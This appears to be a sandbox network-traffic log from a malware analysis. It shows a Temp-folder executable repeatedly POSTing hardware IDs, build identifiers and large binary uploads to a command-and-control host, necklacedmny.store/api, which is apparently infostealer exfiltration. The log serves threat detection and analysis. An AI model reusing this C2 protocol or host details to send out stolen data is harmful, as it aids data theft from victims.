2024-10-30 10:46:50 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:46:51 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4m611v5tgn9f7m2l6hiqju11n0; expires=Sun, 23 Feb 2025 04:33:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZNB8B3e95gFlnQFXg5evzHhWc%2BOykwk4FIovTk30v5GY9QQjhyWl6G7qBDEPxXbIB3p6RMnBsOC6rb6gZoHr7oWw4THvS%2FqADGR%2FUBw2Q%2B9Qzu9%2BulPEjXX79W71hGZbZkMZhuc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad2e8aa836c38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1054&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16023&delivery_rate=2659320&cwnd=252&unsent_bytes=0&cid=ed4df719982aeb72&ts=532&x=0"
2024-10-30 10:46:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:46:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	58197	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 10:46:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:46:52 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 10:46:53 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jd9nkb6pmf33sj8gjt5avbh158; expires=Sun, 23 Feb 2025 04:33:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ohVQXGh5Y4nMlB%2BNPf9Ma2eLLuFXsfxaPwAWAJgkkVbWYlpflzEcc86AKU2aVoizgjtcyIzodITPvusDciYzUqjn2kpUXnMIiZAs%2Bk4pn0cGeuRFdHa03i%2B%2FWO3wJKjXvj75d4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad2f2ef94469e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1238&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=2294770&cwnd=251&unsent_bytes=0&cid=d6d13fe838f038f7&ts=671&x=0"
2024-10-30 10:46:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:46:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	58199	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: necklacedmny.store
2024-10-30 10:46:55 UTC	1221	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:46:55 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nhql4mp7nl052b8m48kq632amd; expires=Sun, 23 Feb 2025 04:33:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l8pf5UH0mprfgzwQ8UIYz9IugWzZ8rPMma%2FMRIzrpvqUqCI5V5rccujd%2BngxcZsCyPShhAKuqO9KX2TT3vkYVbC0EoYZBnHEAhUphA6p02BZy6lQivjDPXlytSQT3BKNPqScq%2B0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad3039cc86b07-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2140&delivery_rate=2481576&cwnd=251&unsent_bytes=0&cid=8c6e518a0d489360&ts=489&x=0"
2024-10-30 10:46:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:46:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	58202	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:56 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578014 Host: necklacedmny.store
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: d6 b6 d8 b9 41 c7 44 82 5b 98 f0 22 82 7a dd 33 27 cd 85 16 2d c4 0e ce 0e 67 a1 11 bd 3d 30 dd 11 78 10 89 a7 a0 1b 8d 12 cc 83 89 73 66 a9 d1 1a 3d 8a 19 bb 6d 1a a7 a6 83 bd 13 3e 74 88 a7 d6 e9 31 74 74 a0 51 8e 52 47 a4 e4 cf f3 16 9f 1e d3 6f 9d 0b 50 30 7e 5e 7f d4 6f 87 78 2a 8c 5a db 7c f7 18 76 18 2f 6f 82 b5 50 fc 01 54 6b 64 b2 0c a8 ee 12 43 9c 9e fa 36 36 e0 b3 c7 f1 81 db 61 5d f2 3d 6a f2 a6 40 7d 8c 6b ef fd 58 62 12 70 87 ab 43 47 e4 17 86 fe 50 86 94 47 e1 f3 12 9f 29 67 40 59 2d 1e 16 41 87 e9 c5 43 2c c0 7c c3 07 b2 93 51 14 34 a2 23 b9 50 ad 25 81 2d ca fd c0 03 2c 0d 3d be 03 58 61 b1 e2 e4 2c 6a 3e 13 f3 e2 cf ed 0d b4 f3 38 38 2b 14 47 3d 02 a8 fc a8 9b d5 78 60 ed 09 52 c0 a4 f0 9a 94 72 6c 30 86 be f5 f8 29 91 a9 b6 f1 4b 49 17 Data Ascii: AD["z3'-g=0xsf=m>t1ttQRGoP0~^ox*Z\|v/oPTkdC66a]=j@}kXbpCGPG)g@Y-AC,\|Q4#P%-,=Xa,j>88+G=x`Rrl0)KI
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 34 7e f0 db 30 c4 da f6 b5 85 13 ee 9f f0 8a 77 52 74 a4 bf f9 ad 43 13 5b 1b 93 cb 6e 56 ed a2 a1 44 f9 43 4e 27 24 73 90 33 5c 17 83 90 09 9d 81 d6 5c d6 67 c4 47 a6 0d 97 ee 56 d0 b8 76 8d ef d8 25 8d 51 00 d1 97 62 06 e3 b3 93 da 9a fc c5 04 fb 1f 0d bf 2b 2b 38 b0 52 58 68 35 72 85 ef 28 2f 43 5d 05 3c 3b 8c 93 cd df 32 32 83 79 b6 51 bd 2d 8d 41 b0 2a 56 51 b4 55 2e c2 b6 2f 26 c2 28 15 bd 60 dc bd ea ea 18 7e 00 62 fc 7d 79 0f 95 7f d3 76 ab c7 cd c9 47 df a1 b2 77 eb f7 ed 91 72 19 cf b2 3a 47 fa d6 ea c2 91 da ad b4 4a b7 26 43 79 dc c1 05 49 80 da 4c a3 ff da bd f0 be b3 9d 66 2e e7 f7 e0 78 5b e8 57 d3 68 31 f9 13 d5 69 a8 8a 16 4d 10 d8 c7 fe 35 ae 0c e0 5e 9f cd d4 ca c6 ad e4 3a 44 86 78 7a fe d7 72 10 64 e0 9a ca 03 d6 6d a1 15 3f 99 b5 87 Data Ascii: 4~0wRtC[nVDCN'$s3\\gGVv%Qb++8RXh5r(/C]<;22yQ-A*VQU./&(`~b}yvGwr:GJ&CyILf.x[Wh1iM5^:Dxzrdm?
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 20 0c 50 22 c0 1b be de ec bb 5e e9 6c e5 1f b6 34 76 50 c0 af ce fa 13 c8 bf eb 01 8e fd 4d 0e 60 42 d9 f6 77 09 91 32 07 64 ee 05 7a 67 93 a9 26 f0 6c dd 8d 3e 00 7a 0f b1 06 fe fd fb 1c 44 e3 78 65 f4 eb 1a 51 c6 ef 0d 92 f5 c5 70 04 35 28 40 f6 07 94 8e 0e f8 01 88 2f e9 79 24 3c 32 e0 1a 37 5a 49 bc cb b1 df 0b 5c 02 c1 66 bc bb 5f 29 e9 5a 28 9e 4b 4e 07 55 51 f3 ff ea ef 3d 2b 8f a2 5c b4 48 d4 d7 6b e5 71 41 83 8f 2d b1 c0 4c 5f 2e 66 4e e8 2d 9c 44 58 77 f6 91 45 41 ff 21 15 49 72 c6 20 5f e2 d9 c0 ab 80 82 0a ac cc d5 44 89 4d a9 c4 c6 29 5f e3 a8 db a1 f4 cb 9e 5f 31 3c d4 8b 01 1f 2d db 11 5a e7 fc ed 81 59 2d 2e 23 e3 05 fa 89 7f cc ea f8 ea 80 62 4e ed 39 41 47 24 7c 01 46 d3 5b 17 2e 63 7b 73 1a 4e 5b 92 8f 23 f3 03 97 46 06 ad 42 c9 11 60 Data Ascii: P"^l4vPM`Bw2dzg&l>zDxeQp5(@/y$<27ZI\f_)Z(KNUQ=+\HkqA-L_.fN-DXwEA!Ir _DM)__1<-ZY-.#bN9AG$\|F[.c{sN[#FB`
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 2b 33 85 9b eb 9f e6 3b ce 3d 3e d5 96 ad ca c0 b0 5d 8a 12 a8 71 8b b5 d8 a1 e0 32 47 a9 30 38 81 30 04 16 96 65 55 66 9d 72 40 94 5c f3 11 14 58 c6 35 3f 8b d3 29 08 0d 2d 44 1e 57 c7 4a 96 fb d5 ec 91 7a 04 bb db a4 b0 81 db a8 36 63 e3 33 53 ef 4e 2c d6 94 a0 2d 86 82 e6 78 93 8f 80 7c de d1 0b 5e c0 c9 98 f0 f1 ee 67 e1 50 5e 68 f4 7f 0b bf e3 ab 43 6a 60 75 24 fb d7 4f b8 b6 aa 0b b0 f8 20 22 19 e0 da e5 97 57 b4 d9 d7 33 8f 44 d7 0c 21 08 59 0f ba ed f5 38 16 86 c8 d3 b7 15 aa 1d 40 fe 4a 20 1a 9e 2b 2d 04 d2 2d ae 08 11 e9 e0 ff d0 e1 dd 67 8d c4 e4 e4 d3 1b 03 ae a3 84 ee b3 dc a3 89 79 59 c2 0d 08 83 a1 76 3f 17 e8 c0 4a 27 46 45 f8 c8 72 fa 7c 6c 0f 20 5f 93 27 19 95 ca dd 46 de e5 d5 10 e6 e1 e8 f8 1b 1d 06 e3 4b 10 03 9b d8 4a 05 f0 36 bb dd Data Ascii: +3;=>]q2G080eUfr@\X5?)-DWJz6c3SN,-x\|^gP^hCj`u$O "W3D!Y8@J +--gyYv?J'FEr\|l _'FKJ6
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: ea 7c 62 6a 2d d3 2e 01 9c 19 96 43 c0 2d c3 2a b6 7e 83 26 ce 7e eb 6e 39 40 cd d0 72 fe 62 6e 17 25 f5 d7 9d 36 c1 b3 94 1f a0 28 9e ec 78 60 f7 ca 9c e1 5d 74 9b 41 c3 06 35 dc 2c fd c7 44 db 67 2a 26 d0 77 5b 88 01 ad 1b 95 5d 1b 08 f7 5d e8 41 fd 53 2e 45 5b ab 2c 23 14 2f 44 9e a5 e0 97 39 96 6b 19 ea ea e7 89 97 69 19 5a dc 7d 0d 5e 5e 17 29 60 e6 ed 7d 8b f9 e8 e4 40 0f 91 8b f8 fa a0 b0 43 53 5b 1f 9c 4a 7e b2 5c 3e e0 ed e1 75 3e 2c 1c 98 e5 83 af e3 79 7c 7f a2 58 fc 9e 9b 77 6c 92 e6 fa 7f 5b fa 2b a3 7c 64 33 9a b7 01 9a 49 f2 e3 fc 46 c3 a5 63 4e 38 0c 08 d5 c4 80 8c d7 79 92 18 42 e2 21 fa 6e ae e4 52 10 60 f8 10 79 21 3d 8e 83 f6 01 f5 fd 68 6f b0 f0 47 11 a8 8a 40 4e 62 a7 e5 40 a9 32 cd 36 05 bc ff e7 b9 ff 9c 6e e7 93 63 43 0f 06 bb cb Data Ascii: \|bj-.C-~&~n9@rbn%6(x`]tA5,Dg&w[]]AS.E[,#/D9kiZ}^^)`}@CS[J~\>u>,y\|Xwl[+\|d3IFcN8yB!nR`y!=hoG@Nb@26ncC
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 6f bc cf 2d 82 17 66 4f 86 56 79 fc 08 a8 88 09 c6 84 8a e6 b9 86 7b 67 0e a1 cd 89 af 5a bc fc 59 e1 74 c4 93 b4 6f 9b 2b 67 77 89 ca c1 b0 17 06 96 e6 44 17 9c 69 c9 9a ad f4 05 c2 7c e2 7f c9 c1 9b b2 72 70 06 17 65 7a a9 10 58 d2 9c dd 2a 15 e4 c2 a2 c2 a6 08 e7 1b b2 b6 8a 20 1b 2c c0 17 e0 d6 cd 41 ec 51 5d e0 ae c1 67 7a 09 1f 7f 66 d1 40 9c 46 c0 7f 3c 52 fb 19 d3 56 aa 86 7c 46 fa 38 45 fe 65 6e cc 7b af c4 84 f4 e6 1a 12 dd 38 96 29 35 dc 71 cd 49 06 7a 93 64 a1 98 de b4 5a 78 d6 d9 d8 34 3a ac 3f cb b3 7a 4e fe bb fa 2f c4 45 54 ee ee dd 2a c0 dd c4 c0 19 78 44 f5 c3 21 3c e0 43 e7 fa 0a fa 4c 27 36 f6 28 ac 2f f1 f5 b4 43 4c e0 be 6b 10 8a a7 f3 32 5e e2 9e fc 01 50 d4 62 21 13 75 54 9e cf 3a 7d f0 d3 e9 1a 01 f1 f0 11 6b 29 9b d8 6d 38 0c 78 Data Ascii: o-fOVy{gZYto+gwDi\|rpezX* ,AQ]gzf@F<RV\|F8Een{8)5qIzdZx4:?zN/ET*xD!<CL'6(/CLk2^Pb!uT:}k)m8x
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 8d 73 ac 30 4a 0f 27 7c 66 e3 87 c9 84 ca f3 60 e8 21 a0 77 de 30 04 93 81 ff 41 66 65 3c 79 c0 e3 ae 71 f0 ab f3 d9 37 46 8e 3b af ae 79 0f 77 3f a9 19 6f 3f c8 bb f1 77 7a e3 07 73 59 f9 6b d5 f8 04 33 e3 6b 3b 54 63 42 2d b1 ce b7 4d bb 18 f9 72 6e d0 5d fc 1a 20 e9 a1 89 7b a8 62 cc 7d e0 d3 00 db 33 e4 28 d7 24 5c 09 ee 66 57 7d f6 ac c4 6b 9d 70 25 0c f6 8a 81 c8 85 4a af b5 45 cd 52 9e 36 ec cf 5b 4c 9e 67 d9 12 53 ac 6b 5c c2 bf 7e 4c bf 37 6d 6b cd f5 62 b0 24 e1 57 71 54 54 fc 8a bb 72 b5 c0 4c 3d ab f8 57 02 73 22 5c 6f a3 8d b8 aa 59 ce 9c 5e 14 a1 d6 1c f7 1f b2 e5 86 b5 22 5b 8b 53 ae f4 a6 a7 ac 2e 4e e5 e7 d8 62 c1 8c 22 2a 7f ab b6 74 8b 99 9c 60 e9 b5 6b 72 3e a3 22 69 dd ea 0a 2a 22 f6 58 bd df 15 17 36 ba 23 27 5d 09 77 0e 5f 3c 18 9a Data Ascii: s0J'\|f`!w0Afe<yq7F;yw?o?wzsYk3k;TcB-Mrn] {b}3($\fW}kp%JER6[LgSk\~L7mkb$WqTTrL=Ws"\oY^"[S.Nb"t`kr>"i"X6#']w_<
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: be 5f 1b cc 38 84 b6 dd 5f 8c 5a 36 2e 65 44 e7 9b 6e e5 1d ff ca ab bf d1 0d b4 34 97 9a b3 32 32 66 e3 3c 15 fd ee 3e a2 c6 84 19 2a b9 1f 25 b5 7d 99 ff 18 f1 b3 aa 2d e1 6f 3b 7a 75 ba bd d5 30 fc 9c 15 6e 85 a2 14 b5 98 fc 3d b0 12 73 44 c5 9d 77 bd 55 0f 7c d0 62 6c 22 e4 95 51 51 0d 9d 3f 2a 2e 05 e8 ff 71 ef 27 68 f8 c5 fc 53 02 e8 11 64 6f 15 e4 53 e2 07 fa 36 c5 03 7d 69 99 e5 d3 46 22 79 fb 7a 52 7f ca 7a fd 9d 23 19 a0 04 91 39 fb 56 f5 32 94 ca 98 48 71 94 7f 30 e3 bc 38 c2 18 95 50 8c 18 6a 09 3c 52 b4 fc 41 10 bb f2 bf 6b f1 37 2f ab 52 e3 33 0e 45 61 4c 66 6c d4 ac 2a 9d b2 5a 12 b5 d9 c0 f6 00 23 ee bb 38 36 16 7f 59 1b 44 ec b7 02 70 fc da 01 81 3c 55 80 1a e3 a7 52 b1 11 0a 50 97 95 56 2b 29 0f 89 93 60 ec 6a 32 ea 3d b8 5e c0 c0 de ef Data Ascii: _8_Z6.eDn422f<>%}-o;zu0n=sDwU\|bl"QQ?.q'hSdoS6}iF"yzRz#9V2Hq08Pj<RAk7/R3EaLfl*Z#86YDp<URPV+)`j2=^
2024-10-30 10:46:56 UTC	15331	OUT	Data Raw: 6a 39 d4 7c 93 21 b4 51 37 43 44 98 08 43 1b 55 e6 67 42 26 31 21 67 7b 27 aa cd 5a 7d 77 23 12 e4 69 65 5d ab 70 80 e0 45 a5 42 9b 81 c8 84 c5 03 88 63 5a f1 11 d2 40 8f 54 55 67 7c 98 86 5f 69 a2 21 07 c2 58 2e 73 c3 ca 24 7c 7b d6 9a 89 18 3c f7 9b f1 d3 59 ec 6f f9 34 ad 40 83 d5 d4 a2 6c bd 31 58 8b 54 5e b0 34 31 bc 5c 73 79 01 1b e2 d0 ab 1d 17 7f 97 65 3c 19 1b 2c 52 61 ac d7 55 e8 de be 3e d2 07 06 31 cc c9 b6 b8 fe ee ef 49 ee 2b 15 43 f8 d0 7c 8a a6 f4 50 89 28 7d ea 6f 2b 44 b8 10 13 82 69 31 7b 18 3a fc d8 53 af 8b 15 42 9f 7f 33 1b 59 23 db f6 e6 e3 c0 44 ac 67 7f 93 c9 60 dc 6e b1 f8 d3 8a ec 91 e2 10 d9 c4 b2 2e f7 b5 e0 e0 a6 81 fe e5 7c 56 e8 f0 8d 16 65 75 e9 d0 e6 37 37 d5 f3 f2 46 ad 86 15 32 25 6e 6b a3 b7 df ce f3 39 d2 df 54 3d 75 Data Ascii: j9\|!Q7CDCUgB&1!g{'Z}w#ie]pEBcZ@TUg\|_i!X.s$\|{<Yo4@l1XT^41\sye<,RaU>1I+C\|P(}o+Di1{:SB3Y#Dg`n.\|Veu77F2%nk9T=u
2024-10-30 10:46:58 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vcm21o69jbilnccq10q2fsauli; expires=Sun, 23 Feb 2025 04:33:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FFxShnY4UzDAemiinNiAH0ptMGEmFvYe64MtvOooJn%2BpP2QAEXH8%2Bzv8xASKPAC0wre5FDjqHBAObSe8GE2fKsKZly%2BvBPU94%2F3Pw8vPWKOhRfy3vN2lyBhvemK5wlbWkcQ1zLA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad30e7bc2b793-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&sent=221&recv=620&lost=0&retrans=0&sent_bytes=2845&recv_bytes=580585&delivery_rate=1808869&cwnd=121&unsent_bytes=0&cid=4685f1265e4c169c&ts=1974&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	58203	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
